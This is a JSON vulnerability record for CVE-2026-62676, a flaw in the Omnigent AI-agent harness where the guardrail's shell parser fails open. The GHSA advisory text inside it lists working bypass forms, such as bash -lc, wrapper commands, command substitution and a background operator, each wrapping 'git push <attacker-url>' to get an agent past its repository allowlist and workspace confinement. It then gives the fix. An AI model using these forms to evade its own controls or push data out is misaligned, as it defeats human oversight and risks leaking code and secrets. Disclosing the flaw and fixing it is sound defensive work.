{"id":"CVE-2026-62676","aliases":["EUVD-2026-64014","GHSA-7mqg-cx4g-x2rf","PYSEC-2026-3873"],"status":"published","title":"Omnigent Guardrail policy bypass: shell-command parser fails open in policies/builtins/_shell.py","description":"Omnigent is an open-source AI agent framework and meta-harness for orchestrating coding agents. Prior to 0.3.0, the shared shell-command parser in omnigent/policies/builtins/_shell.py fails to recognize combined interpreter flags, the timeout, nice, setsid, and stdbuf wrappers, command substitutions, and a single background control operator. A gated git push or gh write hidden with these forms produces no parsed operation, causing the github.py write_repos and write_branches allowlist and the working_dir.py workspace confinement policies to abstain and allow the command. An authenticated or prompt-injected agent can therefore push to an unauthorized repository or branch or escape the intended workspace. This issue is fixed in version 0.3.0.","severity":{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00402,"percentile":0.34786,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-184"],"published":"2026-08-21T17:42:21Z","modified":"2026-10-28T02:30:59Z","fixes":[{"ecosystem":"PyPI","package":"omnigent","fixed_in":["0.3.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"omnigent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.3.0"}]}]},{"source":"osv","ecosystem":"PyPI","package":"omnigent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.3.0"}]}],"versions":["0.0.1rc1","0.0.1rc2","0.1.0","0.1.0rc1","0.1.0rc2","0.1.0rc3","0.1.0rc4","0.1.1","0.1.1rc2","0.2.0","0.2.0rc1","0.3.0rc1"]},{"source":"osv","ecosystem":"PyPI","package":"omnigent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.3.0"}]}],"versions":["0.0.1rc1","0.0.1rc2","0.1.0","0.1.0rc1","0.1.0rc2","0.1.0rc3","0.1.0rc4","0.1.1","0.1.1rc2","0.2.0","0.2.0rc1","0.3.0rc1"]}],"products":[{"vendor":"omnigent-ai","product":"omnigent"}],"references":[{"url":"https://github.com/omnigent-ai/omnigent/security/advisories/GHSA-7mqg-cx4g-x2rf","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/omnigent-ai/omnigent/pull/389","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/omnigent-ai/omnigent/commit/1a05b7b139ef504bf2be89bf37918abe104fb95c","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/omnigent-ai/omnigent/releases/tag/v0.3.0","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62676","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-7mqg-cx4g-x2rf","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/62xxx/CVE-2026-62676.json","tags":["advisory"]},{"url":"https://github.com/omnigent-ai/omnigent","tags":["package"]},{"url":"https://pypi.org/project/omnigent","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-62676","title":"Omnigent Guardrail policy bypass: shell-command parser fails open in policies/builtins/_shell.py","description":"Omnigent is an open-source AI agent framework and meta-harness for orchestrating coding agents. Prior to 0.3.0, the shared shell-command parser in omnigent/policies/builtins/_shell.py fails to recognize combined interpreter flags, the timeout, nice, setsid, and stdbuf wrappers, command substitutions, and a single background control operator. A gated git push or gh write hidden with these forms produces no parsed operation, causing the github.py write_repos and write_branches allowlist and the working_dir.py workspace confinement policies to abstain and allow the command. An authenticated or prompt-injected agent can therefore push to an unauthorized repository or branch or escape the intended workspace. This issue is fixed in version 0.3.0.","status":"published","published":"2026-08-21T17:42:21.563Z","modified":"2026-08-26T17:32:00.761Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-184"],"updated_at":"2026-11-02T14:20:14.665567Z"}],"euvd":[{"id":"EUVD-2026-64014","description":"Omnigent is an open-source AI agent framework and meta-harness for orchestrating coding agents. Prior to 0.3.0, the shared shell-command parser in omnigent/policies/builtins/_shell.py fails to recognize combined interpreter flags, the timeout, nice, setsid, and stdbuf wrappers, command substitutions, and a single background control operator. A gated git push or gh write hidden with these forms produces no parsed operation, causing the github.py write_repos and write_branches allowlist and the working_dir.py workspace confinement policies to abstain and allow the command. An authenticated or prompt-injected agent can therefore push to an unauthorized repository or branch or escape the intended workspace. This issue is fixed in version 0.3.0.","status":"published","published":"2026-08-21T17:42:21Z","modified":"2026-08-26T17:32:00Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","level":"high"}],"updated_at":"2026-11-02T18:01:30.08255Z"}],"ghsa":[{"id":"GHSA-7mqg-cx4g-x2rf","title":"Omnigent Guardrail policy bypass: shell-command parser fails open in policies/builtins/_shell.py","description":"**Reporter:** Aaron / Aeon — autonomous security agent (https://github.com/aaronjmars/aeon)\n**Project:** `omnigent-ai/omnigent` v0.1.0 (Databricks) — meta-harness running Claude Code / Codex / Pi \"in check with policies and sandboxing\"\n**Component:** `omnigent/policies/builtins/_shell.py` (shared parser) → consumed by `policies/builtins/github.py` (`write_repos`/`write_branches` allowlist) and `policies/builtins/working_dir.py` (workspace confinement)\n\n## Summary\n\nThe shared shell-command parser **fails open**. When a gated command spells something the parser doesn't recognize, it produces no operation, the policy evaluator returns `None`, and `None` = abstain = **ALLOW**. So any command the parser misses bypasses both the GitHub repo/branch allowlist and the working-directory confinement — the product's two core safety guarantees.\n\n## Impact\n\nA misaligned or prompt-injected agent that is *meant to be confined* can:\n\n- `git push` to an attacker-controlled repo (code / secret exfiltration),\n- push to a protected branch,\n- escape its workspace via `git worktree add` / `git -C \u003cother-dir\u003e`.\n\n## Bypass classes (all verified against the real policy code)\n\n- **Combined interpreter flags:** `bash -lc \"git push \u003cattacker-url\u003e\"`\n- **Unlisted wrappers:** `timeout` / `nice` / `setsid` / `stdbuf … git push …`\n- **Command substitution:** `x=$(git push \u003cattacker-url\u003e)`\n- **Un-split background operator:** `true \u0026 git push \u003cattacker-url\u003e`\n\nControls that **correctly hold** (confirming this is parser incompleteness, not an allowlist logic error): bare `git push \u003cattacker-url\u003e` and `env git push …` both **DENY**.\n\n## Suggested fix\n\nMake the gated surface **fail closed**:\n\n1. An unrecognized gated command must **DENY**, not return `None` → ALLOW. Abstain on a security gate should resolve to deny, not allow.\n2. Canonicalize known wrappers (`timeout` / `nice` / `setsid` / `stdbuf` / `env`) down to their inner command before evaluation.\n3. Recurse into `sh -c` / `bash -c` payloads and command substitutions, and split on shell control operators (`;`, `\u0026`, `\u0026\u0026`, `||`, `|`) before judging each segment.","status":"published","published":"2026-09-02T22:40:07Z","modified":"2026-09-02T22:40:09Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-184"],"updated_at":"2026-11-02T14:41:11.621873Z"}],"nvd":[{"id":"CVE-2026-62676","description":"Omnigent is an open-source AI agent framework and meta-harness for orchestrating coding agents. Prior to 0.3.0, the shared shell-command parser in omnigent/policies/builtins/_shell.py fails to recognize combined interpreter flags, the timeout, nice, setsid, and stdbuf wrappers, command substitutions, and a single background control operator. A gated git push or gh write hidden with these forms produces no parsed operation, causing the github.py write_repos and write_branches allowlist and the working_dir.py workspace confinement policies to abstain and allow the command. An authenticated or prompt-injected agent can therefore push to an unauthorized repository or branch or escape the intended workspace. This issue is fixed in version 0.3.0.","status":"published","published":"2026-08-21T18:16:49.743Z","modified":"2026-10-14T21:10:00.183Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-184"],"updated_at":"2026-11-02T14:12:40.665005Z"}],"osv":[{"id":"CVE-2026-62676","title":"Omnigent Guardrail policy bypass: shell-command parser fails open in policies/builtins/_shell.py","description":"Omnigent is an open-source AI agent framework and meta-harness for orchestrating coding agents. Prior to 0.3.0, the shared shell-command parser in omnigent/policies/builtins/_shell.py fails to recognize combined interpreter flags, the timeout, nice, setsid, and stdbuf wrappers, command substitutions, and a single background control operator. A gated git push or gh write hidden with these forms produces no parsed operation, causing the github.py write_repos and write_branches allowlist and the working_dir.py workspace confinement policies to abstain and allow the command. An authenticated or prompt-injected agent can therefore push to an unauthorized repository or branch or escape the intended workspace. This issue is fixed in version 0.3.0.","status":"published","published":"2026-08-21T17:42:21.563Z","modified":"2026-10-28T02:30:59.119189703Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-184"],"updated_at":"2026-11-02T15:45:13.306117Z"},{"id":"GHSA-7mqg-cx4g-x2rf","title":"Omnigent Guardrail policy bypass: shell-command parser fails open in policies/builtins/_shell.py","description":"**Reporter:** Aaron / Aeon — autonomous security agent (https://github.com/aaronjmars/aeon)\n**Project:** `omnigent-ai/omnigent` v0.1.0 (Databricks) — meta-harness running Claude Code / Codex / Pi \"in check with policies and sandboxing\"\n**Component:** `omnigent/policies/builtins/_shell.py` (shared parser) → consumed by `policies/builtins/github.py` (`write_repos`/`write_branches` allowlist) and `policies/builtins/working_dir.py` (workspace confinement)\n\n## Summary\n\nThe shared shell-command parser **fails open**. When a gated command spells something the parser doesn't recognize, it produces no operation, the policy evaluator returns `None`, and `None` = abstain = **ALLOW**. So any command the parser misses bypasses both the GitHub repo/branch allowlist and the working-directory confinement — the product's two core safety guarantees.\n\n## Impact\n\nA misaligned or prompt-injected agent that is *meant to be confined* can:\n\n- `git push` to an attacker-controlled repo (code / secret exfiltration),\n- push to a protected branch,\n- escape its workspace via `git worktree add` / `git -C \u003cother-dir\u003e`.\n\n## Bypass classes (all verified against the real policy code)\n\n- **Combined interpreter flags:** `bash -lc \"git push \u003cattacker-url\u003e\"`\n- **Unlisted wrappers:** `timeout` / `nice` / `setsid` / `stdbuf … git push …`\n- **Command substitution:** `x=$(git push \u003cattacker-url\u003e)`\n- **Un-split background operator:** `true \u0026 git push \u003cattacker-url\u003e`\n\nControls that **correctly hold** (confirming this is parser incompleteness, not an allowlist logic error): bare `git push \u003cattacker-url\u003e` and `env git push …` both **DENY**.\n\n## Suggested fix\n\nMake the gated surface **fail closed**:\n\n1. An unrecognized gated command must **DENY**, not return `None` → ALLOW. Abstain on a security gate should resolve to deny, not allow.\n2. Canonicalize known wrappers (`timeout` / `nice` / `setsid` / `stdbuf` / `env`) down to their inner command before evaluation.\n3. Recurse into `sh -c` / `bash -c` payloads and command substitutions, and split on shell control operators (`;`, `\u0026`, `\u0026\u0026`, `||`, `|`) before judging each segment.","status":"published","published":"2026-09-02T22:40:07Z","modified":"2026-09-10T12:25:30.446854519Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-184"],"updated_at":"2026-11-02T15:46:41.349637Z"},{"id":"PYSEC-2026-3873","title":"Omnigent Guardrail policy bypass: shell-command parser fails open in policies/builtins/_shell.py","description":"**Reporter:** Aaron / Aeon — autonomous security agent (https://github.com/aaronjmars/aeon)\n**Project:** `omnigent-ai/omnigent` v0.1.0 (Databricks) — meta-harness running Claude Code / Codex / Pi \"in check with policies and sandboxing\"\n**Component:** `omnigent/policies/builtins/_shell.py` (shared parser) → consumed by `policies/builtins/github.py` (`write_repos`/`write_branches` allowlist) and `policies/builtins/working_dir.py` (workspace confinement)\n\n## Summary\n\nThe shared shell-command parser **fails open**. When a gated command spells something the parser doesn't recognize, it produces no operation, the policy evaluator returns `None`, and `None` = abstain = **ALLOW**. So any command the parser misses bypasses both the GitHub repo/branch allowlist and the working-directory confinement — the product's two core safety guarantees.\n\n## Impact\n\nA misaligned or prompt-injected agent that is *meant to be confined* can:\n\n- `git push` to an attacker-controlled repo (code / secret exfiltration),\n- push to a protected branch,\n- escape its workspace via `git worktree add` / `git -C \u003cother-dir\u003e`.\n\n## Bypass classes (all verified against the real policy code)\n\n- **Combined interpreter flags:** `bash -lc \"git push \u003cattacker-url\u003e\"`\n- **Unlisted wrappers:** `timeout` / `nice` / `setsid` / `stdbuf … git push …`\n- **Command substitution:** `x=$(git push \u003cattacker-url\u003e)`\n- **Un-split background operator:** `true \u0026 git push \u003cattacker-url\u003e`\n\nControls that **correctly hold** (confirming this is parser incompleteness, not an allowlist logic error): bare `git push \u003cattacker-url\u003e` and `env git push …` both **DENY**.\n\n## Suggested fix\n\nMake the gated surface **fail closed**:\n\n1. An unrecognized gated command must **DENY**, not return `None` → ALLOW. Abstain on a security gate should resolve to deny, not allow.\n2. Canonicalize known wrappers (`timeout` / `nice` / `setsid` / `stdbuf` / `env`) down to their inner command before evaluation.\n3. Recurse into `sh -c` / `bash -c` payloads and command substitutions, and split on shell control operators (`;`, `\u0026`, `\u0026\u0026`, `||`, `|`) before judging each segment.","status":"published","published":"2026-09-10T09:44:59.740515Z","modified":"2026-09-10T12:15:09.111299206Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","level":"high"}],"updated_at":"2026-11-02T15:52:57.255153Z"}]}}